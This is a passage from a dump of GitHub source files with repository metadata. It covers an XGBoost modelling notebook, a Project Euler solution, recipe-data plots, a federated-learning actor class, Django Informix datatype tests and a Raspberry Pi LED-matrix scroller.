max_iter=200)\nclf.fit(scaler.fit_transform(trainX), trainY)\nimp_feats_ind = np.nonzero(clf.coef_[0])[0]\nprint('Number of features left:', len(imp_feats_ind))\ncols = np.array(cols)[imp_feats_ind]\n\ntrainX = trainX[:,imp_feats_ind]\ntestX = testX[:,imp_feats_ind]\n\nprint(time_elapsed(t0, str_result=True))\n\n\n# In[11]:\n\n\n'''def classifiers(trainX, valX, trainY, valY, clf_choice='LGB', n_splits=2, tuning_iter=15):\n skf = StratifiedKFold(n_splits=n_splits, random_state=42)\n if clf_choice=='LGB':\n lgb_space = get_space(clf_choice)\n # Hyperparameter tuning\n lgb_best_params, trials = hyperopt_param_tuning(lgb_space, skf, clf_choice, trainX, trainY, tuning_iter)\n # Train on whole data using best params\n lgb_model, preds_prob = lgb_train(lgb_best_params, trainX, trainY, valX)\n # Evaluating trained model performance\n val_scores = {'auc':[], 'accuracy':[], 'logloss':[]}\n val_scores = model_metrics(valY, preds_prob, val_scores)\n return lgb_model, val_scores, lgb_best_params, preds_prob'''\n\n\n# ## Single Model\n\n# In[ ]:\n\n'''\n# XGB Parameter tuning with Hyperopt\nt0 = time.time()\n\ni=0\nskf = StratifiedKFold(n_splits=5, random_state=42)\nclf_choice = 'XGB'\nspace = get_space(clf_choice)\ntuning_iter=50\nbest_params, trials = hyperopt_param_tuning(space, skf, clf_choice, trainX, trainY, tuning_iter)\nprint('Best XGB Params:', best_params)\n\nprint(time_elapsed(t0, str_result=True))\n'''\n\n# In[24]:\n\n\ndtrain = xgb.DMatrix(trainX, label=trainY, missing=-1, feature_names=cols)\nprint(dtrain.num_row(), dtrain.num_col())\ndtest = xgb.DMatrix(testX, missing=-1, feature_names=cols)\nprint(dtest.num_row(), dtest.num_col())\n\n\n# In[ ]:\n\n\ndel trainX, testX, trainY, combined_df\ngc.collect()\n\n\n# In[49]:\n\n\n# XGB Params\n#params = {'max_depth':4, 'learning_rate':0.05, 'subsample':0.9, 'colsample_bytree':0.9, 'eval_metric':'auc', \n# 'objective':'binary:logistic', 'seed':42, 'nthread':cores_to_use}\n\n\n# In[27]:\n\nbest_params = {'colsample_bytree': 0.47961272611045386, 'scale_pos_weight': 1.147217357619608, 'min_child_weight': 69, \n 'subsample': 0.9798190976022971, 'alpha': 0.6821234362177525, 'max_depth': 4, 'gamma': 2.2260539902559975, \n 'lambda': 0.10281645475554066}\n\n# Best Params from hyperopt\nbest_params['eta'] = 0.001\nbest_params['eval_metric'] = 'auc'\nbest_params['objective'] = 'binary:logistic'\nbest_params['seed'] = 42\nbest_params['nthread'] = cores_to_use\nprint(best_params)\n\n\n# In[ ]:\n\n\nt0 = time.time()\n\n# XGBoost CV\nxgb_cv = xgb.cv(best_params, dtrain, num_boost_round=50000, nfold=5, stratified=True, early_stopping_rounds=250, verbose_eval=500, \n seed=42, feval=gini_xgb, maximize=True)\nprint(xgb_cv.tail(3))\nprint(time_elapsed(t0, str_result=True))\n\n\n# In[33]:\n\n\n#xgb_cv\n\n\n# In[52]:\n\n\n# XGBoost Model on whole data\nt0 = time.time()\nxgb_model = xgb.train(best_params, dtrain, num_boost_round=xgb_cv.shape[0], feval=gini_xgb, maximize=True)\nprint(time_elapsed(t0, str_result=True))\n\n\n# In[53]:\n\n\n# Prediction on dtest\nt0 = time.time()\n\npreds_prob = xgb_model.predict(dtest)\nprint(preds_prob.shape)\n# Load sample submission\nsub = pd.read_csv(os.path.join(BASE_DIR, 'data', 'sample_submission.zip'))\nsub['target'] = preds_prob\nprint(sub.shape)\nprint(sub.head(3))\n\nprint(time_elapsed(t0, str_result=True))\n\n\n# In[54]:\n\n\n# Save submission\nt0 = time.time()\nsub.to_csv(os.path.join(BASE_DIR, 'submissions', 'single_xgb_hyperopt_tuning_scale_pos_weight_0001.csv'), index=False)\nprint(time_elapsed(t0, str_result=True))\n\n\n# In[55]:\n\n\n# Feature Importance ('weight', 'gain', 'cover')\nprint(sorted(xgb_model.get_score(importance_type='gain').items(), key=lambda x: x[1], reverse=True)) \n\n\n# ## Stacking\n\n# In[9]:\n\n\n'''def transformer(y, func=None):\n \"\"\"Transforms target variable and prediction\"\"\"\n if func is None:\n return y\n else:\n return func(y)\n\ndef stacking(models, X_train, y_train, X_test, regression=True,\n transform_target=None, transform_pred=None,\n metric=None, n_folds=4, stratified=False,\n shuffle=False, random_state=0, verbose=0):\n \n # Print type of task\n if regression and verbose > 0:\n print('task: [regression]')\n elif not regression and verbose > 0:\n print('task: [classification]')\n\n # Specify default metric for cross-validation\n if metric is None and regression:\n metric = mean_absolute_error\n elif metric is None and not regression:\n metric = accuracy_score\n \n # Print metric\n if verbose > 0:\n print('metric: [%s]\\n' % metric.__name__)\n \n # Split indices to get folds (stratified can be used only for classification)\n if stratified and not regression:\n kf = StratifiedKFold(y_train, n_folds, shuffle = shuffle, random_state = random_state)\n else:\n kf = KFold(len(y_train), n_folds, shuffle = shuffle, random_state = random_state)\n\n # Create empty numpy arrays for stacking features\n S_train = np.zeros((X_train.shape[0], len(models)))\n S_test = np.zeros((X_test.shape[0], len(models)))\n \n # Loop across models\n for model_counter, model in enumerate(models):\n if verbose > 0:\n print('model %d: [%s]' % (model_counter, model.__class__.__name__))\n \n # Create empty numpy array, which will contain temporary predictions for test set made in each fold\n S_test_temp = np.zeros((X_test.shape[0], len(kf)))\n \n # Loop across folds\n for fold_counter, (tr_index, te_index) in enumerate(kf):\n X_tr = X_train[tr_index]\n y_tr = y_train[tr_index]\n X_te = X_train[te_index]\n y_te = y_train[te_index]\n \n # Fit 1-st level model\n model = model.fit(X_tr, transformer(y_tr, func = transform_target))\n # Predict out-of-fold part of train set\n S_train[te_index, model_counter] = transformer(model.predict_proba(X_te)[:,1], func = transform_pred)\n # Predict full test set\n S_test_temp[:, fold_counter] = transformer(model.predict_proba(X_test)[:,1], func = transform_pred)\n \n if verbose > 1:\n print(' fold %d: [%.8f]' % (fold_counter, metric(y_te, S_train[te_index, model_counter])))\n \n # Compute mean or mode of predictions for test set\n if regression:\n S_test[:, model_counter] = np.mean(S_test_temp, axis = 1)\n else:\n S_test[:, model_counter] = np.mean(S_test_temp, axis = 1)#[0].ravel()\n \n if verbose > 0:\n print(' ----')\n print(' MEAN: [%.8f]\\n' % (metric(y_train, S_train[:, model_counter])))\n\n return (S_train, S_test)'''\n\n\n# In[ ]:\n\n\n'''models = [#ExtraTreesClassifier(random_state=42, n_jobs=-1, n_estimators = 150, max_depth = 20),\n\n #RandomForestClassifier(random_state=42, n_jobs=-1, n_estimators = 150, max_depth = 20),\n\n lgb.LGBMClassifier(random_state=42, n_jobs=-1, learning_rate = 0.02, n_estimators = 800, max_depth=6, \n num_leaves=150, max_bin=300),\n \n xgb.XGBClassifier(random_state=42, n_jobs=-1, learning_rate=0.02, n_estimators=850, max_depth=4, subsample=0.9, \n colsample_bytree=0.75),\n \n LogisticRegression(penalty='l2', solver='liblinear', fit_intercept=True)]'''\n\n","repo_name":"AwasthiMaddy/pssdp","sub_path":"code/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15380628143","text":"# ------------------------------------------ Counting rectangles ---------------------------------------------- #\n# #\n# By counting carefully it can be seen that a rectangular grid measuring 3 by 2 contains #\n# eighteen rectangles: #\n# #\n# Although there exists no rectangular grid that contains exactly two million rectangles, #\n# find the area of the grid with the nearest solution. #\n# ------------------------------------------------------------------------------------------------------------- #\nimport time\nimport math\n\ndef CountRectangles(m, n):\n s = 0\n \n #for i in range(1, m + 1):\n # for j in range(1, n + 1):\n # s += (m + 1 - i) * (n + 1 - j)\n\n #for i in range(m + 1):\n # for j in range(n + 1):\n # s += i * j\n\n s = m * (m + 1) * n * (n + 1) // 4\n \n return s\n \ndef eu85():\n # m * (m + 1) * n * (n + 1) ~ 4*TARGET\n # m^2 + m - (4 * TARGET / (n * (n + 1))) = 0\n # m ~ sqrt(16 * TARGET / (n * (n + 1))) / 2\n TARGET = 2000000\n\n diff = 1000\n best_i = 0\n best_j = 0\n \n for i in range(1, 10000):\n d = int(math.sqrt(16 * TARGET / (i * (i + 1))) // 2)\n for j in range(d - 1, d + 1):\n if (abs(CountRectangles(i, j) - TARGET) < diff):\n diff = abs(CountRectangles(i, j) - TARGET)\n best_i = i\n best_j = j\n\n return best_i * best_j\n\nif __name__ == \"__main__\":\n startTime = time.clock()\n print (eu85())\n elapsedTime = time.clock() - startTime\n print (\"Time spent in (\", __name__, \") is: \", elapsedTime, \" sec\")\n","repo_name":"sefi-roee/ProjectEuler","sub_path":"eu85.py","file_name":"eu85.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20836303291","text":"\n#INGREDIENTS WORDCLOUD\n\nfrom wordcloud import WordCloud, STOPWORDS \nimport matplotlib.pyplot as plt \nimport pandas as pd \n \n\ndf = pd.read_csv(path_file) \n\nd = {}\nfor a, x in df.values[2:]:\n d[a] = x\n\ndef plot_cloud(wordcloud):\n # Set figure size\n plt.figure(figsize=(40, 30))\n # Display image\n plt.imshow(wordcloud) \n # No axis details\n plt.axis(\"off\");\n\nwordcloud = WordCloud(width = 3000, height = 2000, random_state=1, background_color='white', collocations=False, stopwords = STOPWORDS)\nwordcloud.generate_from_frequencies(frequencies=d)\n#wordcloud.to_file(path+\"wordcloud2.png\")\n\n\n\n\n\n#NUMBER OF RECIPES PER REGION\n\nimport sys\n'geopandas' in sys.modules\nget_ipython().system('pip install geopandas')\n\nimport sys\nimport geopandas as gpd\nimport pandas as pd\nitaly = gpd.read_file(path1+'reg2011_g.shp')\nnew_regions = pd.read_csv(path2+\"regionality_recipes.csv\")\nitaly['NOME_REG'] = new_regions['region']\nitaly\n\n\nnew_regions = new_regions.rename(columns={\"region\": \"NOME_REG\"})\nmerge = italy.merge(new_regions, on='NOME_REG', how='right')\nmerge.head()\n\n\n# set a variable that will call whatever column we want to visualise on the map\nvariable = 'recipes'\n# set the range for the choropleth\nvmin, vmax = 120, 220\n# create figure and axes for Matplotlib\nfig, ax = plt.subplots(1, figsize=(10, 6))\n\nmerge.plot(column=variable, cmap='Blues', linewidth=0.8, ax=ax, edgecolor='0.8')\n\nax.axis('off')\n\n\n# add a title\nax.set_title('Recipes per Region', fontdict={'fontsize': '15', 'fontweight' : '2'})\n\n# Create colorbar as a legend\nsm = plt.cm.ScalarMappable(cmap='Blues', norm=plt.Normalize(vmin=min(merge['recipes']), vmax=max(merge['recipes'])))\n# empty array for the data range\nsm._A = []\n# add the colorbar to the figure\ncbar = fig.colorbar(sm)\n\n#fig.savefig(\"recipes_per_region.png\", dpi=300)\n\n\n\n\n\n\n#Seaborn Histogram and Density Curve on the same plot\n\nimport pandas as pd\nimport seaborn as sns\nsns.set_style(\"white\")\n\n# Import data\ndf = pd.read_csv(path+\"regional_recipes_cat.csv\")\ndf\n\nx1 = df.loc[df.level=='Facile', 'ning']\nx2 = df.loc[df.level=='Media', 'ning']\nx3 = df.loc[df.level=='Difficile', 'ning']\n\n# Plot\nkwargs = dict(hist_kws={'alpha':.6}, kde_kws={'linewidth':2})\n\n\nsns.distplot(x1, color=\"dodgerblue\", label=\"Easy\", **kwargs)\nsns.distplot(x2, color=\"orange\", label=\"Medium\", **kwargs)\nsns.distplot(x3, color=\"deeppink\", label=\"Difficult\", **kwargs)\n\nplt.xlim(0,50)\nplt.xlabel(\"Number of Ingredients in a Regional Recipe\")\nplt.ylabel(\"Density Function\")\nplt.legend()\n\n#plt.savefig('pdf_ing.png')\n\n\n# In[184]:\n\n\n#BUBBLE CHART\nimport plotly.express as px\n\ndf = pd.read_csv(path+\"recipes_cat.csv\")\n\nfinal = df.groupby([\"category\", \"region\"],as_index = False)[\"name\"].count()\ntmp2 = df.groupby([\"category\", \"region\"], as_index = False)[\"score\"].mean()\ntmp3 = df.groupby([\"category\", \"region\"], as_index = False)[\"reviews\"].mean()\nfinal[\"score\"] = tmp2[\"score\"]\nfinal[\"reviews\"] = tmp3[\"reviews\"]\n\n\nfig = px.scatter(final, x=\"reviews\", y=\"score\",\n\t size=\"name\", color=\"category\",\n hover_name=\"region\", log_x=True, size_max=50)\n#fig.show()\n#fig.write_image(path+\"bubble_plot.png\")\n\n","repo_name":"BigData-Team8/Italian-Cuisine","sub_path":"3-4_Preparation+Computation/Exploratory Data Analysis/EDA.py","file_name":"EDA.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1666580500","text":"#defining the function for leap \ndef is_leap(year):\n leap = False\n \n # checking whether the input meets the conditions\n if year % 400 == 0:\n leap = True\n elif year % 100 == 0:\n leap = False\n elif year % 4 == 0:\n leap = True\n \n return leap\n \n #user Input data\nyear = int(input())\n\n# output after conditions are checked\nprint (is_leap(year))","repo_name":"NdukuCarole/Skaehub-Assignment-","sub_path":"Question1.py","file_name":"Question1.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27298659617","text":"\"\"\"\nThis script implements a wrapper around the raw articles downloaded\ninto the local sessions.\n\nKevin NI, kevin.ni@nyu.edu.\n\"\"\"\n\nfrom typing import *\nfrom _a_big_red_button.support.mongo_db.mongo_db import MongoDocumentAsPyObject\n\n\nclass WokAuthorStub(MongoDocumentAsPyObject):\n # typed field notation\n # annotation is for type hinting only\n # this class is not used at run time\n abbr: str\n full: str\n\n\nclass WokCitationStub(MongoDocumentAsPyObject):\n first_author: str\n journal: str\n volume: str\n issue: str\n page: int\n year: int\n doi: str\n\n\nclass WokArticleStub(MongoDocumentAsPyObject):\n # typed field notation\n author: List[WokAuthorStub]\n abstract: str\n addr: List[str]\n cauthor: str\n citation: List[WokCitationStub]\n citecount: int\n direction: List[str]\n doi: str\n eissn: str\n email: List[str]\n ids: str\n issn: str\n journal: str\n keyword: List[str]\n keywordplus: List[str]\n lang: str\n pub: str\n pubaddr: str\n pubabbr: str\n pubisoabbr: str\n quote: int\n quote180: int\n quote2013: int\n quotewoscore: int\n title: str\n type: str\n v: int\n i: int\n p: int\n wosno: str\n wostype: List[str]\n year: str\n\n def __init__(self, source: dict):\n super().__init__(source)\n","repo_name":"NbKevin/ABigRedButton","sub_path":"_a_big_red_button/crawler/db_article.py","file_name":"db_article.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6337474843","text":"import numpy as np\n\nfrom math import ceil\n\n'''\nDefine the base actor of federated learning framework\nlike Server, Group, Client.\n'''\n\nclass Actor(object):\n def __init__(self, id, actor_type, train_data={'x':[],'y':[]}, test_data={'x':[],'y':[]}, model=None):\n self.id = id\n self.train_data = train_data\n self.test_data = test_data\n self.model = model # callable tf.keras.model\n self.actor_type = actor_type\n self.name = 'NULL'\n # The latest model parameter and update of this actor, which will be modified by train, aggregate, refresh, init\n # The latest params and updates are set by fresh_latest_params_updates(), apply_update(), train()\n # The global training model will be set to latest params before training.\n self.latest_params, self.latest_updates = None, None\n # The latest local training solution and traning gradient of this actor\n # This local variables will be set by all training functions ,\n # which like solve inner and solve iter of actor, train and pretrain of client\n self.local_soln, self.local_gradient = None, None\n # init train and test size to zero, it will depend on the actor type\n self.train_size, self.test_size = 0, 0 \n self.uplink, self.downlink = [], [] # init to empty, depend on the actor type\n # Is this actor can train or test,\n # Note: This variable have differenct meaning according to differnent type of actor\n self.trainable, self.testable = False, False \n\n self.preprocess()\n\n def preprocess(self):\n # Give the name of actor, for example, 'client01', 'group01'\n self.name = str(self.actor_type) + str(self.id)\n # Initialize the latest model weights and updates\n self.latest_params, self.local_soln = self.get_params(), self.get_params()\n self.latest_updates = [np.zeros_like(ws) for ws in self.latest_params]\n self.local_gradient = [np.zeros_like(ws) for ws in self.latest_params]\n\n '''Return the parameters of global model instance\n '''\n def get_params(self):\n if self.model:\n return self.model.get_weights()\n \n def set_params(self, weights):\n # Set the params of model,\n # But the latest_params and latest_updates will not be refreshed\n if self.model:\n self.model.set_weights(weights)\n\n \"\"\" \n def solve_gradients(self, num_epoch=1, batch_size=10):\n '''\n Solve the local optimization base on local training data, \n the gradient is NOT applied to model\n \n Return: num_samples, Gradients\n '''\n if self.train_data['y'] > 0:\n X, y_true = self.train_data['x'], self.train_data['y']\n num_samples = y_true.shape[0]\n with tf.GradientTape() as tape:\n y_pred = self.model(X)\n loss = tf.keras.losses.sparse_categorical_crossentropy(y_true, y_pred)\n gradients = tape.gradient(loss, self.model.trainable_variables)\n \n return num_samples, gradients\n else:\n # Return 0 and all zero gradients [0, 0, ...],\n # if this actor has not training set\n return 0, [np.zeros_like(ws) for ws in self.latest_updates]\n \"\"\"\n\n def solve_inner(self, num_epoch=1, batch_size=10, pretrain=False):\n '''\n Solve the local optimization base on local training data,\n This Function will not change the params of model,\n Call apply_update() to change model\n \n Return: num_samples, train_acc, train_loss, update\n '''\n if self.train_data['y'].shape[0] > 0:\n X, y_true = self.train_data['x'], self.train_data['y']\n num_samples = y_true.shape[0]\n # Backup the current model params\n backup_params = self.get_params()\n # Confirm model params is euqal to latest params\n t0_weights = self.latest_params\n self.set_params(t0_weights)\n # Use model.fit() to train model\n history = self.model.fit(X, y_true, batch_size, num_epoch, verbose=0)\n t1_weights = self.get_params()\n gradient = [(w1-w0) for w0, w1 in zip(t0_weights, t1_weights)]\n \n # Roll-back the weights of current model\n self.set_params(backup_params)\n if pretrain == False:\n # Store the latest local solution params\n self.local_soln = t1_weights\n # Calculate the gradient\n self.local_gradient = gradient\n # Get the train accuracy and train loss\n #print(history.history) # Debug\n train_acc = history.history['accuracy']\n train_loss = history.history['loss']\n #print('actor.py:104', train_acc) # DEBUG\n return num_samples, train_acc, train_loss, t1_weights, gradient\n else:\n # Return 0,0,0 and all zero updates [0, 0, ...],\n # if this actor has not training set\n return 0, [0], [0], self.latest_params, [np.zeros_like(ws) for ws in self.latest_params]\n\n def solve_iters(self, num_iters=1, batch_size=10, pretrain=False):\n\n def batch_data_multiple_iters(data, batch_size, num_iters):\n data_x = data['x']\n data_y = data['y']\n data_size = data_y.shape[0]\n\n random_idx = np.arange(data_size)\n np.random.shuffle(random_idx)\n # Shuffle the features and labels\n data_x, data_y = data_x[random_idx], data_y[random_idx]\n max_iter = ceil(data_size / batch_size)\n\n for iter in range(num_iters):\n round_step = (iter+1) % max_iter # round_step: 1, 2, ..., max_iter-1, 0\n if round_step == 0:\n # Exceed 1 epoch\n x_part1, y_part1 = data_x[(max_iter-1)*batch_size: data_size], \\\n data_y[(max_iter-1)*batch_size: data_size]\n # Shuffle dataset before we get the next part\n np.random.shuffle(random_idx)\n data_x, data_y = data_x[random_idx], data_y[random_idx]\n x_part2, y_part2 = data_x[0: max_iter*batch_size%data_size], \\\n data_y[0: max_iter*batch_size%data_size]\n\n batched_x = np.vstack([x_part1, x_part2])\n batched_y = np.hstack([y_part1, y_part2]) \n else:\n batched_x = data_x[(round_step-1)*batch_size: round_step*batch_size]\n batched_y = data_y[(round_step-1)*batch_size: round_step*batch_size]\n\n yield (batched_x, batched_y)\n\n num_samples = self.train_data['y'].shape[0]\n if num_samples == 0:\n return 0, [0], [0], self.latest_params, [np.zeros_like(ws) for ws in self.latest_params]\n\n backup_params = self.get_params()\n t0_weights = self.latest_params\n self.set_params(t0_weights)\n train_results = []\n for X, y in batch_data_multiple_iters(self.train_data, batch_size, num_iters):\n train_results.append(self.model.train_on_batch(X, y))\n t1_weights = self.get_params()\n gradient = [(w1-w0) for w0, w1 in zip(t0_weights, t1_weights)]\n # Roll-back the weights of model\n self.set_params(backup_params)\n if pretrain == False:\n # Store the latest local solution\n self.local_soln = t1_weights\n # Calculate the updates\n self.local_gradient = gradient\n train_acc = [rest[1] for rest in train_results]\n train_loss = [rest[0] for rest in train_results]\n \n return num_samples, train_acc, train_loss, t1_weights, gradient\n\n def apply_update(self, update):\n '''\n Apply update to model and Refresh the latest_params and latest_updates\n Return:\n 1, Latest model params\n '''\n t0_weights = self.get_params()\n t1_weights = [(w0+up) for up, w0 in zip(update, t0_weights)]\n self.set_params(t1_weights) # The group training model is set to new weights.\n # Refresh the latest_params and latest_updates attrs\n self.latest_updates = update\n self.latest_params = t1_weights\n return self.latest_params\n \n def fresh_latest_params_updates(self, update):\n '''\n Call this function to fresh the latest_params and latst_updates\n The update will not apply to self.model, compare to apply_update()\n '''\n prev_params = self.latest_params\n latest_params = [(w0+up) for up, w0 in zip(update, prev_params)]\n self.latest_updates = update\n self.latest_params = latest_params\n return self.latest_params, self.latest_updates\n \n def test_locally(self):\n '''\n Test the model (self.latest_params) on local test dataset\n Return: Number of test samples, test accuracy, test loss\n '''\n if self.test_data['y'].shape[0] > 0:\n # Backup the current model params\n backup_params = self.get_params()\n # Set the current model to actor's params\n self.set_params(self.latest_params)\n X, y_true = self.test_data['x'], self.test_data['y']\n loss, acc = self.model.evaluate(X, y_true, verbose=0)\n # Recover the model\n self.set_params(backup_params)\n return self.test_data['y'].shape[0], acc, loss\n else:\n return 0, 0, 0\n\n def has_uplink(self):\n if len(self.uplink) > 0:\n return True\n return False\n\n def has_downlink(self):\n if len(self.downlink) > 0:\n return True\n return False\n\n def add_downlink(self, nodes):\n if isinstance(nodes, list):\n # Note: The repetitive node is not allow\n self.downlink = list(set(self.downlink + nodes))\n if isinstance(nodes, Actor):\n self.downlink = list(set(self.downlink + [nodes]))\n return\n\n def add_uplink(self, nodes):\n if isinstance(nodes, list):\n self.uplink = list(set(self.uplink + nodes))\n if isinstance(nodes, Actor):\n self.uplink = list(set(self.uplink + [nodes]))\n return\n \n def delete_downlink(self, nodes):\n if isinstance(nodes, list):\n self.downlink = [c for c in self.downlink if c not in nodes]\n if isinstance(nodes, Actor):\n self.downlink.remove(nodes)\n return\n\n def delete_uplink(self, nodes):\n if isinstance(nodes, list):\n self.uplink = [c for c in self.uplink - nodes if c not in nodes]\n if isinstance(nodes, Actor):\n self.uplink.remove(nodes)\n return\n\n def clear_uplink(self):\n self.uplink.clear()\n return\n\n def clear_downlink(self):\n self.downlink.clear()\n return\n\n def set_uplink(self, nodes):\n self.clear_uplink()\n self.add_uplink(nodes)\n return\n\n def check_selected_trainable(self, selected_nodes):\n ''' \n Check The selected nodes whether can be trained, and return valid trainable nodes\n '''\n nodes_trainable = False\n valid_nodes = []\n for node in selected_nodes:\n if node in self.downlink:\n if node.check_trainable() == True:\n nodes_trainable = True\n valid_nodes.append(node)\n return nodes_trainable, valid_nodes\n\n def check_selected_testable(self, selected_nodes):\n ''' \n Check The selected nodes whether can be tested \n '''\n nodes_testable = False\n valid_nodes = []\n for node in selected_nodes:\n if node in self.downlink:\n if node.check_testable() == True:\n nodes_testable = True\n valid_nodes.append(node)\n return nodes_testable, valid_nodes\n\n # Train() and Test() depend on actor type\n def test(self):\n return\n\n def train(self):\n return\n\n # trainable and testable depend on actor type\n def check_trainable():\n return\n def check_testable():\n return\n","repo_name":"morningD/FlexCFL","sub_path":"flearn/actor.py","file_name":"actor.py","file_ext":"py","file_size_in_byte":12267,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"67"} +{"seq_id":"86447460517","text":"from decimal import Decimal\nfrom collections import namedtuple\n\nimport pytest\nfrom django.test import TestCase\nfrom django.db import connection, transaction\nfrom django.core.exceptions import ValidationError\n\nfrom .models import Donut\n\n\nRawDonutResult = namedtuple('RawDonut', [\n 'id', 'name', 'trim_name', 'is_frosted', 'is_fresh', 'is_only_fresh', 'cost'\n])\n\n\nclass DataTypesTestCase(TestCase):\n def test_boolean_false(self):\n d = Donut(name='Apple Fritter')\n self.assertFalse(d.is_frosted)\n d.save()\n d2 = Donut.objects.get(name='Apple Fritter')\n self.assertFalse(d2.is_frosted)\n\n def test_boolean_true(self):\n d = Donut(name='Apple Fritter', is_frosted=True)\n self.assertTrue(d.is_frosted)\n d.save()\n d2 = Donut.objects.get(name='Apple Fritter')\n self.assertTrue(d2.is_frosted)\n\n def test_decimal(self):\n d = Donut(name='Apple Fritter', cost=1)\n self.assertEqual(d.cost, 1)\n d.save()\n d2 = Donut.objects.get(name='Apple Fritter')\n self.assertEqual(d2.cost, Decimal(1))\n\n def test_decimal_precision(self):\n d = Donut(name='Apple Fritter', cost=1.23)\n self.assertEqual(d.cost, 1.23)\n d.save()\n d2 = Donut.objects.get(name='Apple Fritter')\n self.assertEqual(d2.cost, Decimal('1.23'))\n\n def test_characters(self):\n d = Donut(name='Apple Fritter ')\n self.assertEqual(d.name, 'Apple Fritter ')\n d.save()\n d2 = Donut.objects.get(name='Apple Fritter ')\n self.assertEqual(d2.name, 'Apple Fritter ')\n\n def test_trim_characters(self):\n d = Donut(trim_name='abc ')\n self.assertEqual(d.trim_name, 'abc ')\n d.save()\n d2 = Donut.objects.get(trim_name='abc')\n self.assertEqual(d2.trim_name, 'abc')\n\n def test_char_to_boolean_True(self):\n d = Donut(is_fresh=True)\n self.assertEqual(d.is_fresh, True)\n d.save()\n d2 = Donut.objects.get(is_fresh=True)\n self.assertEqual(d2.is_fresh, True)\n\n def test_char_to_boolean_False(self):\n d = Donut(is_fresh=False)\n self.assertEqual(d.is_fresh, False)\n d.save()\n d2 = Donut.objects.get(is_fresh=False)\n self.assertEqual(d2.is_fresh, False)\n\n def test_char_to_boolean_None(self):\n d = Donut(is_fresh=None)\n self.assertEqual(d.is_fresh, None)\n d.save()\n d2 = Donut.objects.get(is_fresh=None)\n self.assertEqual(d2.is_fresh, None)\n\n def test_char_to_boolean_default_value(self):\n d = Donut()\n self.assertEqual(d.is_fresh, False)\n d.save()\n d2 = Donut.objects.get(is_fresh=False)\n self.assertEqual(d2.is_fresh, False)\n\n def test_char_to_boolean_not_null(self):\n d = Donut(is_only_fresh=None)\n self.assertRaises(ValidationError, d.save)\n\n\n@pytest.mark.django_db(transaction=True)\nclass TestDataTypesCharToBooleanRawSQL():\n def _get_raw_donut(self):\n raw_donut = None\n\n with transaction.atomic():\n with connection.cursor() as cursor:\n cursor.execute(f'select * from datatypes_donut')\n donut = cursor.fetchone()\n raw_donut = RawDonutResult(*donut)\n\n return raw_donut\n\n def test_char_to_boolean_check_empty_db_value(self):\n d = Donut()\n d.save()\n raw_donut = self._get_raw_donut()\n\n assert raw_donut.is_fresh == 'N'\n assert raw_donut.is_only_fresh == 'N'\n\n @pytest.mark.parametrize('model_value, raw_value', [\n (True, 'Y'),\n (False, 'N'),\n ])\n def test_char_to_boolean_check_db_values(self, model_value, raw_value):\n d = Donut(is_fresh=model_value, is_only_fresh=model_value)\n d.save()\n raw_donut = self._get_raw_donut()\n\n assert raw_donut.is_fresh == raw_value\n assert raw_donut.is_only_fresh == raw_value\n","repo_name":"reecetech/django_informixdb","sub_path":"test/datatypes/test_datatypes.py","file_name":"test_datatypes.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"35901567519","text":"import random\nimport string\n\nimport cooltables\n\ndata = []\n\nROWS = 5\nCOLUMNS = 3\n\n\n# Create random data\nfor i in range(ROWS):\n data.append([])\n for j in range(COLUMNS):\n # Random text\n data[-1].append(\"\".join([random.choice(string.ascii_letters)\n for _ in range(random.randint(5, 10))]))\n\n\n# Try all themes\nfor i in filter(lambda x: \"THEME\" in x, dir(cooltables)):\n print(f\"\\n{i}\")\n print(cooltables.create_table(\n data,\n theme=vars(cooltables)[i],\n # header=False,\n # separated=True,\n ))\n","repo_name":"dnorhoj/CoolTables","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73375960534","text":"import re\nimport time\nimport argparse\nfrom luma.led_matrix.device import max7219\nfrom luma.core.interface.serial import spi, noop\nfrom luma.core.render import canvas\nfrom luma.core.virtual import viewport\nfrom luma.core.legacy import text, show_message\nfrom luma.core.legacy.font import proportional, CP437_FONT, TINY_FONT, SINCLAIR_FONT, LCD_FONT\n\"\"\"\nComo conectar\nVCC negro 5V\nGND blanco gnd\nDIN gris 10 mosi \ncs lila 8 ceo\nclk azul 11 sclk\n\"\"\"\n\n\ndef staticText(device, msg):\n with canvas(device) as draw:\n text(draw, (0, 0), msg, fill=\"white\")\n time.sleep(2)\n\n\ndef scrolling_text(device, msg, speed=0.04, font=TINY_FONT):\n show_message(device, msg, fill=\"white\", font=font, scroll_delay=speed)\n\n\ndef main():\n serial = spi(port=0, device=0, gpio=noop())\n device = max7219(serial, cascaded=4, block_orientation=-90, rotate=0)\n\n\ndef ascii_char(device, pic):\n with canvas(device) as draw:\n text(draw, (0, 0), chr(pic), fill=\"white\")\n time.sleep(2)\n\n\n# def keyboard_2(device):\n# \tif keyboard.is_pressed('up'):#if key 'q' is pressed\n# \t\tascii_char(device,24)\n# \t\tpass\n# \telif keyboard.is_pressed('down'):\n# \t\tascii_char(device,25)\n# \t\tpass\n# \telif keyboard.is_pressed('left'):\n# \t\tascii_char(device,27)\n# \t\tpass\n# \telif keyboard.is_pressed('right'):\n# \t\tascii_char(device,26)\n# \t\tpass\n# \telse:\n# \t\tpass\n\n\ndef test_scrolling_text_flask(msg, speed, font_index=1):\n print('Processing Msg: {} Speed: {} Font: {}\\n'.format(\n msg, \n speed, \n font_index,\n ))\n # Will process 1-10 characters per second depending on speed\n time.sleep(len(msg) / speed)\n\n\n\ndef scrolling_text_flask(msg, speed, font_index=1):\n \"\"\"\n This is the code that gets called by the flask app\n msg: String message to scroll(Not UTF-8 compilant)\n speed: speed delay. The 